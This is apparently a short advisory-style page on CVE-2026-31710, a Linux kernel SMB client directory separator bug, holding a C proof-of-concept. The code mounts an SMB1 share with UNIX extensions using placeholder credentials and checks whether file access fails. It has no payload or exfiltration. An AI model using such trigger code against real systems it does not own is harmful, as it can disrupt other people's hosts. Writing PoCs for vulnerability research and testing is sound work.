CVE-2026-31710 Linux内核SMB客户端目录分隔符错误

/* * PoC for CVE-2026-31710 * This code attempts to trigger the SMB1 UNIX mount issue. * Compile: gcc -o poc_smb poc_smb.c */ #include <stdio.h> #include <stdlib.h> #include <sys/mount.h> #include <unistd.h> int main() { // Target SMB server share details const char* source = "//192.168.1.X/vulnerable_share"; const char* target = "/mnt/cve_2026_31710"; const char* fstype = "cifs"; // Mount options specifying SMB1 and UNIX extensions // The vulnerability is triggered by the kernel handling these flags const char* options = "username=user,password=pass,vers=1.0,unix"; printf("[+] Triggering CVE-2026-31710 by mounting SMB1 UNIX share...\n"); // Perform the mount operation int ret = mount(source, target, fstype, 0, options); if (ret == 0) { printf("[+] Mount successful. Path separator logic should now be affected.\n"); // Attempt to access a path to verify the issue FILE *fp = fopen("/mnt/cve_2026_31710/testdir/file", "r"); if (!fp) { printf("[!] File access failed (potential wrong dir separator impact).\n"); } else { fclose(fp); } // Cleanup umount(target); } else { perror("[-] Mount failed"); } return 0; }